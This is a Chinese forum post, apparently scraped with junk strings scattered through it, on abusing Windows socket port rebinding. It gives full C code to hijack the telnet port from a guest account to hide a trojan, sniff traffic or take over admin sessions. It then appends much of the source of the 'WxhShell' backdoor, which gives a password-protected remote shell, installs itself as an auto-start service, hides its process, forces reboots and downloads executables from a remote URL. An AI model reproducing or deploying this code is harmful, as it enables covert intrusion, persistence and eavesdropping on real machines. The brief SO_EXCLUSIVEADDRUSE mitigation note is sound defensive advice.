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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~$\9T.tre2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8vL2<VT;  
q;<=MO/  
  saddr.sin_family = AF_INET; !QTfQ69Y0  
vm y?8E6+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bb ]r  
6bXR?0$*M.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ToVi;  
;&N=t64"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vL,:Yn@b  
&+v!mw>  
  这意味着什么?意味着可以进行如下的攻击: Xbp~cn  
v3`k?jAaI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZFNn(n  
~Os1ir.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l9eCsVQ~V  
dvl'Sq<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fd<a%nSD  
CC<(V{Png  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZWH9E.uj  
Jiv%Opo/|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WE|-zo  
'zg; *)x1/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wcI? .  
S);SfNh%CL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )*wM DM5q  
E1&9( L5  
  #include 4%s6 d,6"  
  #include }+{ ? Ms  
  #include } qf=5v  
  #include    f=L&>X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q*J8`J:#^R  
  int main() ~5Cid)Q}@o  
  { &Is}<Ew  
  WORD wVersionRequested; &*4C{N  
  DWORD ret; nbECEQ:|B  
  WSADATA wsaData; */7+pk(  
  BOOL val; Tt.#O~2:9  
  SOCKADDR_IN saddr; Zr%,F[j?  
  SOCKADDR_IN scaddr; (5Z*m<]c  
  int err; ~7$4w# of0  
  SOCKET s; _,?<r&>v6  
  SOCKET sc; KT>eE  
  int caddsize; oN\IQ7oI  
  HANDLE mt; BsJ d*-:X  
  DWORD tid;   pp2,d`01[L  
  wVersionRequested = MAKEWORD( 2, 2 ); R iPxz=kr  
  err = WSAStartup( wVersionRequested, &wsaData ); !)1gGXRY  
  if ( err != 0 ) { %\|9_=9Wn  
  printf("error!WSAStartup failed!\n"); Us.")GiHE  
  return -1; ~mR@L`"l  
  } pr) `7VuKp  
  saddr.sin_family = AF_INET; !G8=S'~~  
   !pqfx93R*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XDtMFig  
1[g -f ,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @  gv^  
  saddr.sin_port = htons(23); YXi'^GU@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xRI7_8Jpyn  
  { 8?za&v  
  printf("error!socket failed!\n"); RZgklEU  
  return -1; 8nj^x?bn  
  } UK7pQt}9  
  val = TRUE; :"~SKJm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S /kM#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4*D'zJsJ  
  { $\w<.)"#  
  printf("error!setsockopt failed!\n"); <Pm!#)-g9  
  return -1; aWCZ1F  
  } !<8-juY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9Ev<t \B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5Qh$>R4!"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VK]cZ%)  
"K9/^S_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bih%hqny  
  { +QZ}c@'r  
  ret=GetLastError(); N*w6D:  
  printf("error!bind failed!\n"); nr{#Krkb  
  return -1; @CTSvTt$  
  } u{'|/g&  
  listen(s,2); ].Sz2vI  
  while(1)   L* 0$x  
  { a7fFp 9l!  
  caddsize = sizeof(scaddr); IrMUw$  
  //接受连接请求 44x+2@&1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lM |}K-2  
  if(sc!=INVALID_SOCKET) sy]hMGH:3W  
  { x_+-TC4IXn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1o8C4?T&  
  if(mt==NULL) Ov-Y.+L:  
  { li37*  
  printf("Thread Creat Failed!\n"); [pRRBMho  
  break; mp:xR^5c  
  } Ct<]('Hm(  
  } KL<,avC/  
  CloseHandle(mt);  Nt w?~%  
  } 0z =?}xr  
  closesocket(s); l"rX'g?  
  WSACleanup(); ?]AF? 0/  
  return 0; gr^T L1(  
  }   4aGVIQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) $VxKv7:  
  { nf0]<x2  
  SOCKET ss = (SOCKET)lpParam; \V_ Tc`  
  SOCKET sc; hjgB[ &U>  
  unsigned char buf[4096]; r6Qsh CA"  
  SOCKADDR_IN saddr; Ht"?ajW{  
  long num; B{lj.S` mB  
  DWORD val; Bc*FH>E  
  DWORD ret; &|K9qa~)Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *yZ `aKfH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {zTnE?(o`  
  saddr.sin_family = AF_INET; 8-PHW,1@a3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EvKzpxCh  
  saddr.sin_port = htons(23); rQD^O4j R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OfK>-8  
  { idNra#  
  printf("error!socket failed!\n"); &e6!/y&  
  return -1; ^?8/9 o  
  } vk4Q2P  
  val = 100; /U 3Uuk:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /&  W&  
  { $3 =S\jyfK  
  ret = GetLastError(); ZYS]Et[Q  
  return -1; |JLXgwML  
  } bgYUsc*uR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N XCvS0/h  
  { ='t}d>l  
  ret = GetLastError(); {[)n<.n[g  
  return -1; vB%os Qm  
  } +,1 Ea )  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1N}vz(0"  
  { eBWgAf.k  
  printf("error!socket connect failed!\n"); 4q"4N2  
  closesocket(sc); ~Z~V:~  
  closesocket(ss); :2.<JUDM  
  return -1; |[)n.N65 =  
  } X`fb\}~R(  
  while(1) 2e9.U/9  
  { hS1I ;*t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aD+4uGN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FuM:~jv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {e5DQ21.  
  num = recv(ss,buf,4096,0); SLW|)Q24  
  if(num>0) .b? Aq^i8  
  send(sc,buf,num,0); 7^7Jh&b)/  
  else if(num==0) PX*}.L *x  
  break; ~1&WR`U  
  num = recv(sc,buf,4096,0); 9:P\)'y?  
  if(num>0) TwsI8X  
  send(ss,buf,num,0); suS[P?4  
  else if(num==0) Z(XohWe2  
  break; +s;>@j()V  
  } k<|}&<h  
  closesocket(ss); edo+ o{^  
  closesocket(sc); fx-8mf3  
  return 0 ; Z2t\4|wr:  
  } D94bq_2}  
BwkY;Ur/AL  
Wu"1M^a  
========================================================== TuEM  
WvZt~x&2  
下边附上一个代码,,WXhSHELL Z9.0#Jnu  
iu?gZVyka  
========================================================== {_mVfFG  
shR|  
#include "stdafx.h" UwxszEHC  
e#)NYcr6  
#include <stdio.h> P{x6e/  
#include <string.h> %Z p|1J'"  
#include <windows.h> !S%0#d2  
#include <winsock2.h> 1F_$[iIX]  
#include <winsvc.h> \,fa"^8  
#include <urlmon.h> _, E/HAX  
Cs(sar:7  
#pragma comment (lib, "Ws2_32.lib") Ze[,0Y!u&  
#pragma comment (lib, "urlmon.lib") ?;y-skh  
HB{'MBs  
#define MAX_USER   100 // 最大客户端连接数 z-qbe97  
#define BUF_SOCK   200 // sock buffer *7E#=xb  
#define KEY_BUFF   255 // 输入 buffer XF+4*),  
I(Z\$  
#define REBOOT     0   // 重启 I tb_ H  
#define SHUTDOWN   1   // 关机 zE<Iv\Q  
dr(-k3ex  
#define DEF_PORT   5000 // 监听端口 BA2J dU  
+4  h!;i  
#define REG_LEN     16   // 注册表键长度  \_  
#define SVC_LEN     80   // NT服务名长度 3vKTCHbk9  
IJ~j(.W  
// 从dll定义API |RXQ_|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _!E&%=f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2kt0Rxg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aL_/2/@X8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sPG500=)  
lWe cxD$  
// wxhshell配置信息 "%)g^Atp>  
struct WSCFG { LP=y$B  
  int ws_port;         // 监听端口 R*!s'R  
  char ws_passstr[REG_LEN]; // 口令 JEk'2Htx  
  int ws_autoins;       // 安装标记, 1=yes 0=no <:Mz2Rg  
  char ws_regname[REG_LEN]; // 注册表键名 3@qv[yOE  
  char ws_svcname[REG_LEN]; // 服务名 op\$(7<d-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3%bhW9H%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :EAh%q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4y#XX[2Wj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -pIz-*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `IEA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 haY]gmC  
_-lE$ O  
}; Aj|->Y  
|g.CS$'#Nt  
// default Wxhshell configuration  |iI dm  
struct WSCFG wscfg={DEF_PORT, 3C<G8*4);/  
    "xuhuanlingzhe", x\U[5d   
    1, "V(P)_  
    "Wxhshell", .1q}mw   
    "Wxhshell", swxX3GR  
            "WxhShell Service", Pmo<t6  
    "Wrsky Windows CmdShell Service", :dh; @kp  
    "Please Input Your Password: ", &92/qRh7  
  1, tsJR:~  
  "http://www.wrsky.com/wxhshell.exe", oX8EY l  
  "Wxhshell.exe" mEbI\!}H0  
    }; ^?Mp(o  
@lF?+/=$  
// 消息定义模块 D*Zj oU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ku%tM7ad  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ny^f'tsA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _ ,s^  
char *msg_ws_ext="\n\rExit."; FGx)?  
char *msg_ws_end="\n\rQuit."; p<=Lh47 =  
char *msg_ws_boot="\n\rReboot..."; e`s1z|h  
char *msg_ws_poff="\n\rShutdown..."; '9Z`y_~)G  
char *msg_ws_down="\n\rSave to "; cZQ8[I  
>7PQOQMW'  
char *msg_ws_err="\n\rErr!"; MzX&|wimb  
char *msg_ws_ok="\n\rOK!"; =T,Q7Dh  
Sz@z 0'  
char ExeFile[MAX_PATH]; T{k_3[{0o  
int nUser = 0; Jz~:  
HANDLE handles[MAX_USER]; !9WGZfK+0Y  
int OsIsNt; 4hy -M>!D|  
;_vhKU)%J#  
SERVICE_STATUS       serviceStatus; %+=;4tHJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -R]0cefC<f  
Bd <0}  
// 函数声明 N.vWZ7l8  
int Install(void); zXx/\B$&d*  
int Uninstall(void); Lo%vG{yTr  
int DownloadFile(char *sURL, SOCKET wsh); -dixiJ=  
int Boot(int flag); U8 Zb&6  
void HideProc(void); g ns}%\,  
int GetOsVer(void); \^*:1=|7u]  
int Wxhshell(SOCKET wsl); $j.;$~F  
void TalkWithClient(void *cs); 1oej<67PdJ  
int CmdShell(SOCKET sock); I09 W=  
int StartFromService(void); o 2 Nu@^+  
int StartWxhshell(LPSTR lpCmdLine); [M[<'+^*  
8Y.q P"s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?!P0UTe~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !i)!|9e  
hHN[K  
// 数据结构和表定义 ?@9v+Am!  
SERVICE_TABLE_ENTRY DispatchTable[] = 6X*vCylI  
{ s|e.mZk/  
{wscfg.ws_svcname, NTServiceMain}, ud  r\\5  
{NULL, NULL} Yi%lWbr  
}; h(HpeN%`#  
x*7A33@i  
// 自我安装 #\w N2`" W  
int Install(void) .Qx5,)@9  
{ 1H-Y3G>jN  
  char svExeFile[MAX_PATH]; U L $!  
  HKEY key; q4[}b-fF  
  strcpy(svExeFile,ExeFile); UeO/<ml3>J  
{&,p<5o  
// 如果是win9x系统,修改注册表设为自启动 j|[rT^b@  
if(!OsIsNt) { bE/|&8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ; R}>SS'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^)~Smj^d  
  RegCloseKey(key); `!vqT 3p,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |+q_kx@?l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qU !dg  
  RegCloseKey(key); =O }^2OARo  
  return 0; s#s">hMrI  
    } %6320 x  
  } reN\| ?0{  
} Xe %J{  
else { (Lgea  
]ub"OsXC  
// 如果是NT以上系统,安装为系统服务 C8|V?bL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &))d],tJX  
if (schSCManager!=0) YCD |lL#  
{ /P*XB%y  
  SC_HANDLE schService = CreateService t2o{=!$WH  
  ( Ojc Tu  
  schSCManager, o~~;I  
  wscfg.ws_svcname, * @4@eQF  
  wscfg.ws_svcdisp, !0,q[|m  
  SERVICE_ALL_ACCESS, 'Gn>~m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T]De{nHu  
  SERVICE_AUTO_START, SA +d4P_T  
  SERVICE_ERROR_NORMAL, +c))fPuV  
  svExeFile, e"t0 rScA  
  NULL, $Q/@5f'T`9  
  NULL, HDH G~<s  
  NULL, LL#REK|lm8  
  NULL, &u2;S?7m  
  NULL GQtNk<?$I  
  ); }gkLO TJ/,  
  if (schService!=0) tn5%zJ#+  
  { 8gP1]xD  
  CloseServiceHandle(schService); ]3O&8,  
  CloseServiceHandle(schSCManager); /*qRbN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TmG);B}  
  strcat(svExeFile,wscfg.ws_svcname); 7%Y`j/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2t\0vV2)/O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [Arf!W-QG  
  RegCloseKey(key); &>zH.6%$  
  return 0; ]@#9B>v=  
    } |fgUW.  
  } \_`qon$9  
  CloseServiceHandle(schSCManager); )%K<pIk  
} !zX() V  
} #hxYB  
5skN'*oG  
return 1; 9-;-jnDy  
} 4aS}b3=n  
Z\nDR|3  
// 自我卸载 A9.TRKb=8  
int Uninstall(void) vh a9,5_  
{ xsH1)  
  HKEY key; #dZs[R7h  
1C<cwd;9  
if(!OsIsNt) { CeYhn\m5K0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n5$#M  
  RegDeleteValue(key,wscfg.ws_regname); 4H#-2LV`  
  RegCloseKey(key); x(Bt[=,K3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 62sl6WWS3  
  RegDeleteValue(key,wscfg.ws_regname); PQ 4mNjXN  
  RegCloseKey(key); AM}2=Ip  
  return 0; ;ek*2Lh  
  } ,&_H  
} X<%D@$  
} aJ+V]WmA  
else { (Mk7"FC7  
V'i-pn2gyu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '#+&?6p  
if (schSCManager!=0) =Wcvb?;*  
{ }p~2lOI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l8oaDL\f  
  if (schService!=0) [Z$H <m{c-  
  { B7 s{yb  
  if(DeleteService(schService)!=0) { D~C'1C&W  
  CloseServiceHandle(schService); Y*NzY*V\  
  CloseServiceHandle(schSCManager); cyCh^- <l@  
  return 0; uV5uZ  
  } zgwez$  
  CloseServiceHandle(schService); $:~;U xh=  
  } \l59/ZFan  
  CloseServiceHandle(schSCManager); Ixa0;nxj  
} q^aDZzx,z  
} YbZbA >|  
|[.-pA^  
return 1; 8%9 C<+.R  
} /.SG? 5t4  
MKBDWLCB  
// 从指定url下载文件 c2P}P* _  
int DownloadFile(char *sURL, SOCKET wsh) j .q}OK  
{ 3uuIISK  
  HRESULT hr; m{Q #f\<  
char seps[]= "/"; ;xwcK-A  
char *token; $XF$ n#ua  
char *file; 9nG^_.}|  
char myURL[MAX_PATH]; 2o SM|  
char myFILE[MAX_PATH]; /7UvV60  
iXMJ1\!q\|  
strcpy(myURL,sURL); ;XN|dq  
  token=strtok(myURL,seps); K7RAmX  
  while(token!=NULL) gQeQy  
  { 8<L{\$3HP|  
    file=token; L2XhrLK.|  
  token=strtok(NULL,seps); n\"6ol}>E  
  } c~ R'`Q  
Xd(^7~i  
GetCurrentDirectory(MAX_PATH,myFILE); XKWq{,Ks  
strcat(myFILE, "\\"); *{ rorir  
strcat(myFILE, file); +bznKy!  
  send(wsh,myFILE,strlen(myFILE),0); 1=)M15  
send(wsh,"...",3,0); kq}byv}3I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tpJA~!mG3  
  if(hr==S_OK) Q4u.v,sE  
return 0; ?AyxRbk  
else d>p' A_  
return 1; kOydh(yE  
r07u6OA  
} DB|1Sqjsn  
^ptybVo  
// 系统电源模块 JN wI{  
int Boot(int flag) 1B;2 ~2X  
{ p>tkRA?lk  
  HANDLE hToken; A*OqUq/H`;  
  TOKEN_PRIVILEGES tkp; .iy4 (P4  
^+>*Y=fl  
  if(OsIsNt) { cB uuq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r!Eh}0bL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w ,j*I7V  
    tkp.PrivilegeCount = 1; NxHUOPAJc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X)3(.L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JWb +  
if(flag==REBOOT) { b G:\*1T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U`(=iyWP=  
  return 0; CTNL->  
} "6jt$-?  
else { QY;(Ny/(y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t{>K).'  
  return 0; cfIC(d  
} =dGp&9K,fw  
  } e8vy29\S  
  else { KuP#i]Na  
if(flag==REBOOT) { \GL] I.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jpapl%7v  
  return 0; (h0@;@@7hW  
} Hhknjx  
else { ozRO:*51  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +YvF+E  
  return 0; #tV1?q  
} M/W"M9u  
} o|@0.H|  
=o 9s?vOJ  
return 1; SoU(fI[6  
} =Kkqk  
AX v q~XE  
// win9x进程隐藏模块 uyYV_Q0~;  
void HideProc(void) j.&dHtp  
{ t(3f} ?  
uMQI Aapb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e4z~   
  if ( hKernel != NULL ) 6&$.E! z  
  { $'V^_|EL7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _pTcSp 3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <odi>!ViH  
    FreeLibrary(hKernel); XM:BMd|  
  } "L~Oj&AN[  
bLg!LZ|S0s  
return; U"r*kO%  
} . Vb|le(7  
@ [;'b$T$  
// 获取操作系统版本 64u(X^i  
int GetOsVer(void) 3RtVFDIZA"  
{ %E_Y4Oe1  
  OSVERSIONINFO winfo; +@rFbsyJ.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5=?P 6I_$G  
  GetVersionEx(&winfo); hQ|mow@Zmz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5k0iVpjQ  
  return 1; xrg"/?84  
  else "B3jq^  
  return 0; AY52j  
} i6#*y!3{  
SMZ*30i  
// 客户端句柄模块 p:xyy*I  
int Wxhshell(SOCKET wsl) 2PQBUq  
{ '/I`dj  
  SOCKET wsh; cNd&C'/N  
  struct sockaddr_in client; `Q*`\-8J  
  DWORD myID; JQKXbsXS  
*ak0(yLn)  
  while(nUser<MAX_USER) -9dZT  
{ RW&o3_Ua  
  int nSize=sizeof(client); 6y^ zC?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Eh5g/,[  
  if(wsh==INVALID_SOCKET) return 1; Zv %>m  
~<_#%R!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J&aN6l?  
if(handles[nUser]==0) $]|3^(y``  
  closesocket(wsh); gCg hWg{S  
else ]H/,Q6Q  
  nUser++; pb97S^K[  
  } UCVYO. 9"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )xcjQkb  
lR %#R  
  return 0; &4OJJ9S  
} Ar>B_*dr  
)|=1;L  
// 关闭 socket nFlN{_/  
void CloseIt(SOCKET wsh) fK7 ?"^`/  
{ xo@1((|z  
closesocket(wsh); @K]`!=vUk  
nUser--; EGD{nE  
ExitThread(0); @{@b^tk  
} h{)m}"n<R  
ajycYk9<m  
// 客户端请求句柄 }uDpf0;^  
void TalkWithClient(void *cs) F$8:9eL,T  
{ bhUE!h<  
&n1Vv_Lb  
  SOCKET wsh=(SOCKET)cs; [k 7HLn)  
  char pwd[SVC_LEN]; 8U@f/ P  
  char cmd[KEY_BUFF]; t`6]eRR  
char chr[1]; $ #!oejLD  
int i,j; ;}Jv4Z  
{gzQ/|}#z-  
  while (nUser < MAX_USER) { CG%bZco((  
mPA)G,^  
if(wscfg.ws_passstr) { 7FH-l(W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }C @xl9S"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RZxh"lIo  
  //ZeroMemory(pwd,KEY_BUFF); a?W5~?\9  
      i=0; eztK`_n  
  while(i<SVC_LEN) { BQfnoF  
)Cdw_Yx  
  // 设置超时 _gVihu  
  fd_set FdRead; f_ MK4  
  struct timeval TimeOut; Ihf>FMl:  
  FD_ZERO(&FdRead); ]ttF''lH  
  FD_SET(wsh,&FdRead); vL_yM  
  TimeOut.tv_sec=8; ! #Pn_e  
  TimeOut.tv_usec=0; Cj#wY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B6F!"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 551_;,t  
2}<tzDI'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N%Bl+7,q  
  pwd=chr[0]; B\ 'rxbH  
  if(chr[0]==0xd || chr[0]==0xa) { 7z$53z  
  pwd=0; 'Qt[cW  
  break; % (h6m${j  
  } ;^:8F  
  i++; k:n{AoUc  
    } L/fXP@u  
~xG/yPl  
  // 如果是非法用户,关闭 socket V(cU/Aia^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0-PT%R  
} q2#Ebw %]  
%rB,Gl:)g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1a9' *[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [`tOhL  
RV@B[:  
while(1) { f/L8usBXq  
y={ k7  
  ZeroMemory(cmd,KEY_BUFF); W.4R+kF<  
"#Z e3Uy\  
      // 自动支持客户端 telnet标准   :[l}Bb,  
  j=0; +m JG:n  
  while(j<KEY_BUFF) { _*}D@yy&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w5q6c%VZ  
  cmd[j]=chr[0]; skeeec\V  
  if(chr[0]==0xa || chr[0]==0xd) { MNU7OX<  
  cmd[j]=0; pej-W/R&  
  break; (f"Qz~R|6_  
  } !ldE9 .  
  j++; ,w"cY?~<  
    } Sy?^+JdM/  
trwo(p  
  // 下载文件 c2V_|oL  
  if(strstr(cmd,"http://")) { kPOk.F%)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HpbwW=;V  
  if(DownloadFile(cmd,wsh)) TS#1+f]9J<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_&,^h@'3e  
  else Z3o HOy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x=0Ak'1M  
  } u9:sj  
  else { oG22;  
\>su97  
    switch(cmd[0]) { ,ng/T**@G  
  PU ea`rE?R  
  // 帮助 ]l }v  
  case '?': { \Uh/(q7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0F uj-q  
    break; dw#pObH|`  
  } HziQ%QR  
  // 安装 B_#M)d O  
  case 'i': { E>@]"O)=M,  
    if(Install()) tM@%EO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KdiJ'K.  
    else E5gt_,j>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "/O07l1Q<  
    break; {uwPP2YD,  
    } )cgNf]oy  
  // 卸载 a@|`!<5  
  case 'r': {  k=t{o  
    if(Uninstall()) kK/>,Eg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @6_w{6:b  
    else 6I~M8Lo ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `$4wm0G|  
    break; u<"-S63+  
    } XR=ebl  
  // 显示 wxhshell 所在路径 l [ m_<1L  
  case 'p': { e}gGl<((g  
    char svExeFile[MAX_PATH]; U0|wC,7"  
    strcpy(svExeFile,"\n\r"); &iuMB0rbu  
      strcat(svExeFile,ExeFile); ! j6CvclT  
        send(wsh,svExeFile,strlen(svExeFile),0); Y}}1]}VIK  
    break; rk+s[Qi~  
    } sNG 7fi.|  
  // 重启 DbI)tDi5D  
  case 'b': { ).Z U0fV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m,5m'9 dj  
    if(Boot(REBOOT)) \Pfm>$Ib=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J{;\TNkJ  
    else { "2!5g)iO  
    closesocket(wsh); ktY  
    ExitThread(0); yqb$,$  
    } Q9X+H4`}y  
    break; gf;B&MM6  
    } !9S!zRy@  
  // 关机 y7b>>|C  
  case 'd': { ,[|i^  
